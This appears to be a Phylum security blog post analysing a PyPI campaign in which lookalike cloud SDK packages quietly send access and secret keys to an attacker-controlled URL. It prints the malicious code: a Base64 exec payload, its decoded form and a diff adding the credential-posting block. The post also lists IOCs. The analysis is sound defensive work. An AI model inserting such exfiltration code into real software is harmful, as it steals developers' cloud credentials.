Cloud Provider Credentials Targeted in New PyPI Malware Campaign

Over the weekend, Phylum’s automated risk detection alerted us to a series of publications surrounding packages on PyPI, all purporting to be some kind of cloud provider SDK or helper package. While these packages do, in fact, provide the purported functionality, they also surreptitiously ship the credentials off to an obfuscated remote URL.

–cta–

We’ve seen 2 additional packages published in this campaign since yesterday. enumerate-iam-aws which employed the same tactics mentioned in the original article and another package called alisdkcore. The latter is interesting because instead of exposing the POST request in plain text, they’ve attempted to obfuscate the entire POST request by calling exec() on a large Base64-encoded string that’s dynamically decoded at runtime. Inside the try/catch block, they now have

exec(base64.b64decode('aW1wb3J0IHJlcXVlc3RzCmltcG9ydCBiYXNlNjQKZGF0YSA9IHsnYWsnOiBrZXksICdzZWNyZXQnOiBzZWNyZXR9CnJlcXVlc3RzLnBvc3QodXJsPWJhc2U2NC5iNjRkZWNvZGUoJ2FIUjBjSE02THk5aGNHa3VZV3hwZVhWdUxYTmtheTF5WlhGMVpYTjBjeTU0ZVhvdllXeHBlWFZ1JykuZGVjb2RlKCd1dGYtOCcpLCBqc29uPWRhdGEp').decode('utf-8'), {"key": self._ak, "secret": self._secret})

which decodes to

import requests
import base64
data = {'ak': key, 'secret': secret}
requests.post(url=base64.b64decode('aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovYWxpeXVu').decode('utf-8'), json=data)

and the encoded string in there decodes to the same URL used before:

https://api[.]aliyun-sdk-requests[.]xyz/aliyun

In this campaign, the attacker began by identifying a small set of widely-utilized cloud provider SDKs on account of their intrinsic capability of handling sensitive cloud credentials. Recognizing the inherent trust that developers place in these legitimate packages, the attacker located the file in the legitimate packages responsible for handling these keys. Then the attacker made a very small malicious modification to that part of the code: a carefully crafted and obfuscated POST request designed to surreptitiously exfiltrate those access and secret keys to an attacker-controlled remote URL. After making this slight modification to each package, the attacker then published them to PyPI under similar sounding names. So far, we’ve identified five packages attempting to exfiltrate secrets in this manner to the same remote URL. In all cases, the remote URL was Base64-encoded in a rudimentary but clear obfuscation attempt. By embedding the malicious code snippet into an existing legitimate codebase, the attacker sought to preserve the original functionality of the package while eluding detection by maintaining the expected utility.

As mentioned above, the intent of this attack is to provide the expected functionality while exfiltrating access and secret cloud credential keys. Therefore, when compared to the legitimate codebase each package is based on, there’s only one small difference in one single file. All packages so far identified follow the same pattern, so as an example, we’ll take the package python-alibabacloud-sdk-core. In this package, there’s a file called python-alibabacloud-sdk-core-2.14.0/aliyunsdkcore/client.py and the diff between it and its legitimate counterpart aliyun-python-sdk-core is as follows:

---
 +++
 @@ -24,10 +24,12 @@
  import logging
  import jmespath
  import copy
  import platform
  import sys
 +import requests
 +import base64

  import aliyunsdkcore
  from aliyunsdkcore.vendored.six.moves.urllib.parse import urlencode
  from aliyunsdkcore.vendored.requests import codes

 @@ -514,11 +516,15 @@
              )
          if request.request_network:
              aliyunsdkcore.utils.validation.validate_pattern(
                  request.request_network, 'network', '^[a-zA-Z0-9_-]+$'
              )
 -
 +        try:
 +            data = {"ak": self._ak, "secret": self._secret}
 +            requests.post(url=base64.b64decode('aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovYWxpeXVu').decode('utf-8'), json=data)
 +        except:
 +            pass
          resolve_request = ResolveEndpointRequest(
              self._region_id,
              request.get_product(),
              request.get_location_service_code(),
              request.get_location_endpoint_type(),

Aside from importing the requests and base64 libraries, the only other difference in the file is the try/except block where the POST request is attempted. In that function, the URL is dynamically decoded during runtime. The Base64-string aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovYWxpeXVu decodes to https://api[.]aliyun-sdk-requests[.]xyz/aliyun. Each package published in this attack follows that exact same pattern. And that’s pretty much it! There’s not a whole lot to this. This code is expected to function as is, leaving the developer none the wiser.

In this campaign, the attacker is exploiting a developer’s trust, taking an existing, well-established codebase and inserting a single bit of malicious code aimed at exfiltrating sensitive cloud credentials. The subtlety lies in the attacker’s strategy of preserving the original functionality of the packages, attempting to fly under the radar, so to speak. The attack is minimalistic and simple, yet effective. For the end user, detection becomes a formidable challenge because the package appears to work exactly as expected

Publication Timeline

So far, we have identified the following five PyPI packages as belonging to this campaign. We will be actively monitoring it and will update the table below if new ones are published.

| Package Name                    | Legit Counterpart        | File                 | Publication Date    |
| ------------------------------- | ------------------------ | -------------------- | ------------------- |
| tencent-cloud-python-sdk        | tencentcloud-sdk-python  | common/credential.py | 2023-10-08 02:12:34 |
| python-alibabacloud-sdk-core    | aliyun-python-sdk-core   | client.py            | 2023-10-08 02:41:50 |
| alibabacloud-oss2               | oss2                     | credentials.py       | 2023-10-08 04:00:01 |
| python-alibabacloud-tea-openapi | alibabacloud_tea_openapi | models.py            | 2023-10-08 19:35:36 |
| aws-enumerate-iam               | enumerate-iam            | main.py              | 2023-10-08 20:06:05 |

IOCs

  • Base64-Encoded Strings
    • aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovYWxpeXVu
    • aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovdGVuY2VudA
    • aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovYXdz
  • Decoded URLs
    • https://api[.]aliyun-sdk-requests[.]xyz/tencent
    • https://api[.]aliyun-sdk-requests[.]xyz/aliyun
    • https://api[.]aliyun-sdk-requests[.]xyz/aws

Maintainer stats

coinexchanged – joined 8 Oct 2023

Profile of coinexchanged

weiwang3056 – joined 9 Oct 2023

Profile of weiwang3056

hdhaibqbx – joined 20 Sep 2023

Profile of hdhaibqbx

| Package                         | Maintainer    | Package count for maintainer |
| ------------------------------- | ------------- | ---------------------------- |
| tencent-cloud-python-sdk        | hdhaibqbx     | 1                            |
| python-alibabacloud-sdk-core    | coinexchanged | 6                            |
| alibabacloud-oss2               | coinexchanged | 6                            |
| python-alibabacloud-tea-openapi | coinexchanged | 6                            |
| aws-enumerate-iam               | weiwang3056   | 2                            |
| alisdkcore                      |               | 1                            |
| enumerate-iam                   | andresriancho | 1             

Whois Information

The whois data is, not surprisingly, heavily redacted, but here’s the creation/modification dates are as follows:

Updated Date: 2023-08-31T17:14:27.0Z
Creation Date: 2023-08-11T03:30:11.0Z
Registry Expiry Date: 2024-08-11T23:59:59.0Z

Source: https://blog.phylum.io/cloud-provider-credentials-targeted-in-new-pypi-malware-campaign/